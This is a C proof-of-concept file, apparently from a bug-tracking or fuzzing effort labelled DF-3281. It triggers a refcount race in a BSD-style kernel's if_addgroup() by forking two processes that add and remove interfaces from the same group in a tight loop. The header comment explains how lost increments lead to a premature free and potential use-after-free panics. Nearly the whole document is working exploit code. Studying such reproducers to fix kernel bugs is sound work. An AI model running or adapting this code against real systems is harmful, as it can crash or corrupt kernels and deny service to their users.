DF-3281 / addgrp_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 | /* * DF-3281 PoC v2 - privileged refcount race on if_addgroup(). * * if_addgroup() (sys/net/if.c:1149-1193) releases ifgroup_lock before * executing `ifg->ifg_refcnt++` (line 1183) -- an unlocked, non-atomic * read-modify-write on the group refcount. Two racers adding distinct * interfaces to the same group can lose an increment: the refcount falls * below the real membership count, a later if_delgroup_locked() drops it * to 0 while members remain, and if_destroygroup() kfree()s the group * with live ifgl/ifgm references => stale-pointer walks / state * divergence (and potential UAF panics). * * Design notes (post-DF-0272 landmine avoidance): * - ONE racer per interface: the per-ifp membership scan in * if_addgroup can then never return EEXIST benignly, and a * single-threaded add->del->add cycle never returns ENOENT * benignly. Any ioctl error is therefore *proof* that the group * bookkeeping desynchronized (or of the DF-0272 lock leak), and is * printed as a MARKER by the racer before its next ioctl. * - The parent performs no group ioctls at all. */ #include <sys/socket.h> #include <sys/sockio.h> #include <net/if.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <time.h> #include <signal.h> #include <sys/wait.h> #define GRP "rgrpB" static int grp_ioctl(int s, unsigned long cmd, const char *ifp) { struct ifgroupreq ifgr; memset(&ifgr, 0, sizeof(ifgr)); strlcpy(ifgr.ifgr_name, ifp, sizeof(ifgr.ifgr_name)); strlcpy(ifgr.ifgr_group, GRP, sizeof(ifgr.ifgr_group)); return ioctl(s, cmd, &ifgr); } static void racer(const char *ifp, const char *tag) { int s; unsigned long a = 0, d = 0; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) _exit(1); for (;;) { if (grp_ioctl(s, SIOCAIFGROUP, ifp) == 0) { a++; } else { printf("[racer%s] MARKER add(%s) errno=%d (%s) a=%lu d=%lu\n", tag, ifp, errno, strerror(errno), a, d); fflush(stdout); } if (grp_ioctl(s, SIOCDIFGROUP, ifp) == 0) { d++; } else { printf("[racer%s] MARKER del(%s) errno=%d (%s) a=%lu d=%lu\n", tag, ifp, errno, strerror(errno), a, d); fflush(stdout); } if ((a % 100000) == 0 && a != 0) { printf("[racer%s] alive a=%lu d=%lu\n", tag, a, d); fflush(stdout); } } } int main(void) { pid_t pl, pv; int st; time_t t0 = time(NULL); /* racer L: lo0, racer V: vtnet0 -- same group, distinct ifps */ pl = fork(); if (pl == 0) { setvbuf(stdout, NULL, _IOLBF, 0); racer("lo0", "L"); _exit(0); } pv = fork(); if (pv == 0) { setvbuf(stdout, NULL, _IOLBF, 0); racer("vtnet0", "V"); _exit(0); } printf("[race ] racers started (t=%ld)\n", time(NULL) - t0); fflush(stdout); /* let the race run */ sleep(45); printf("[race ] collecting racer states (t=%ld)\n", time(NULL) - t0); fflush(stdout); kill(pl, SIGKILL); kill(pv, SIGKILL); waitpid(pl, &st, 0); waitpid(pv, &st, 0); printf("[race ] done (t=%ld)\n", time(NULL) - t0); fflush(stdout); return 0; } |